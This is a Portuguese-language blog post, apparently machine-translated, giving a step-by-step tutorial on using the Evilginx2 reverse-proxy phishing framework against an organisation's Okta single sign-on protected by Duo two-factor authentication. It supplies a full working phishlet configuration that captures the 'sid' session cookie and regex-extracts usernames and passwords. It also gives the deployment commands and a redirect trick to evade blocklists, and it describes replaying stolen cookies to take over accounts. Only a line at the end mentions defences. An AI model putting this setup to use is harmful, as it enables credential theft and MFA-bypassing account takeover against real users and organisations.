Olá pessoal!
Há momentos em que você precisa se inscrever para alguém. Isso acontece quando a organização de destino é configurada com um segundo fator para autenticação - sms, autenticador do Google, Duo. O que fazer nesses casos? Contrata gopnik? Cortar telefones nos funcionários? Não! Acontece que hackers astutos criaram software que pode ajudar nessa situação difícil.
O Evilginx2 é uma estrutura de phishing que funciona como um proxy entre a vítima e o site, do qual queremos receber contas. Anteriormente, ele usava o nginx personalizado, mas agora é completamente reescrito no Go, inclui mini servidores HTTP e DNS, o que simplifica bastante a instalação e a implantação.
Como isso funciona? O autor do software descrito em detalhes em seu site, detalhes sobre instalação e configuração podem ser encontrados na página do projeto no github . Por que é possível contornar o segundo fator? O truque é que não interferimos no processo de digitação do código por SMS / senha temporária / push do DUO. Aguardamos silenciosamente o usuário concluir com êxito todas as etapas de autenticação, pegar seu cookie e já usá-lo para fazer login. Ao longo do caminho, apenas no caso de coletarmos seu nome de usuário e senha. Na mesma nota, falarei sobre minha experiência e as armadilhas que encontrei.
Desafio
Portanto, precisamos registrar um escritório que use ativamente o Okta como logon único. Como segundo fator, o Duo é usado - uma solução cujo chip no cliente móvel, que permite confirmar o segundo fator através de notificações push regulares, em vez de inserir códigos de 35 dígitos (oi Google Authenticator). Vamos começar.
Etapa 1 - registrar um domínio de phishing
No painel do nosso provedor, especifique o endereço do servidor no qual o phishing estará localizado. Também registramos um subdomínio no formato okta.< >.com .
Etapa 2 - Configurar o Evilginx
Iniciamos o Evilginx e, através do comando config inserimos as config necessárias. Indicamos o domínio principal (não um subdomínio) e seu IP.
config domain < >.com config ip 10.0.0.1
Como resultado, a configuração fica assim:
O parâmetro redirect_url é interessante aqui - indica para onde redirecionar a solicitação quando o cliente veio à raiz do nosso domínio. Por que isso é feito? Se você fornecer uma página de phishing a partir da raiz, o domínio é calculado muito rapidamente e adicionado à lista de sites perigosos, os navegadores juram ameaçadoramente e os usuários nunca chegam até nós. Portanto, forneceremos através de um link exclusivo, e a raiz será redirecionada para a música Never Gonna Give You Up.
Etapa 3 - configurar uma página de phishing
Aqui a diversão começa. Como, de fato, em nosso servidor não hospedamos nenhum conteúdo, mas apenas solicitações por proxy, precisamos "informar" o Evilginx exatamente quais dados queremos receber. Esta "história" que escrevemos em um formato especial. Sua documentação está disponível na página wiki do projeto. Essas descrições de phishlets são chamadas. Para alguns serviços populares - facebook, linkedin, amazon, eles já estão escritos e incluídos na distribuição. Tivemos menos sorte, pronto para usar o Okta não é suportado, mas pessoas gentis escreveram um phishlet para a versão antiga . Pegamos um arquivo e começamos a soldar.
Preencha a descrição, especifique o nome do phishlet, autores e a versão necessária do Evilginx.
name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0'
Nós indicamos qual domínio vamos pescar. No nosso caso, < >.okta.com um domínio no formato < >.okta.com .
proxy_hosts: - {phish_sub: '', orig_sub: '< >', domain: 'okta.com', session: true, is_landing: true}
O parâmetro session indica que é esse domínio que fornece os cookies de que precisamos e as credenciais são transferidas para lá, is_landing significa que esse host será usado para gerar URLs de phishing.
A próxima etapa importante é identificar todas as solicitações para o domínio de destino, para que os proxies as reescrevam com êxito no domínio de phishing. Se isso não for feito, o usuário enviará os dados não para nós, mas imediatamente para o domínio original, e não capturaremos nenhuma conta. Reescreva apenas as solicitações diretamente envolvidas no processo de login do usuário no site.
Para entender claramente o que é necessário para uma autenticação bem-sucedida, você precisa estudar cuidadosamente esse mesmo processo. Munidos de contas Burp e de teste, começamos a procurar como a senha é transmitida e por quais cookies o aplicativo determina o usuário autorizado. Também estamos procurando respostas do servidor que contenham links para o domínio original.
Encontramos uma solicitação na qual o login e a senha são transmitidos. Vemos que ele é enviado para o domínio original, mas precisamos nos deixar.
Aqui você pode ver como o domínio original fornece links dentro de javascript, eles precisam ser reescritos.
Depois de coletar essa e mais algumas solicitações, obtemos as seguintes configurações:
sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
A palavra-chave {hostname} é usada apenas para substituir o domínio original por um phishing. Leia mais sobre a sintaxe desta seção aqui .
Lembre-se, precisamos de cookies com os quais entraremos no site. Por tentativa e erro, descobrimos o nome do cookie - sid e o adicionamos às configurações:
auth_tokens: - domain: '< >.okta.com' keys: ['sid']
O nome de usuário e a senha do usuário também são úteis para nós, já encontramos a solicitação na qual eles são transmitidos. Como você pode ver na solicitação, os parâmetros de username e password necessários são passados para json, adicionamos:
credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json'
Portanto, o Evilginx poderá isolá-los das consultas e salvá-los corretamente.
Ainda resta pouco. Especifique o URL da página de login no domínio de destino.
landing_path: - '/login/login.htm'
Indicaremos o URL pelo qual entenderemos que o usuário efetuou login com êxito.
auth_urls: - 'app/UserHome'
Isso é tudo! Configuração inteira:
name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' proxy_hosts: - {phish_sub: '', orig_sub: '< >'', domain: 'okta.com', session: true, is_landing: true} sub_filters: sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - domain: '< >.okta.com' keys: ['sid'] credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' landing_path: - '/login/login.htm' auth_urls: - 'app/UserHome'
Salve-o como okta.yaml em /usr/share/evilginx/phishlets .
Etapa quatro - habilite nosso novo phishing
Execute evilginx e escreva um comando
phishlets hostname okta okta.< >.com
Ligue o phishlet.
phishlets enable okta
Um certificado do LetsEncrypt é criado automaticamente para ele.
Verifique as configurações:
Indicamos para onde redirecionaremos o usuário após uma autorização bem-sucedida
phishlets get-url okta https://< >.okta.com/
O aplicativo fornecerá um link que precisa ser enviado aos usuários, no formato https://< >.com/login/login.htm?rb=9ffe&ec=< >
Etapa 4 - aguardando a captura
Enviamos cartas (tecnologias de correspondência - material para um artigo separado) e aguardamos.
Um usuário fraco e confiante segue o link e faz login. Nós vemos assim:
Todas as contas capturadas são adicionadas às sessões. Selecione o desejado e copie os cookies:
Abra o navegador, substitua os cookies e pronto - estamos dentro:
Posfácio
O Evilginx simplifica bastante a criação de páginas de phishing, especialmente para o 2FA. Além disso, essas páginas são convenientemente armazenadas e compartilhadas com os amigos. Maneiras de proteção - o uso de dispositivos padrão U2F , a transição para novos métodos de autenticação.
O que você acha da abordagem descrita? Como você coleta contas?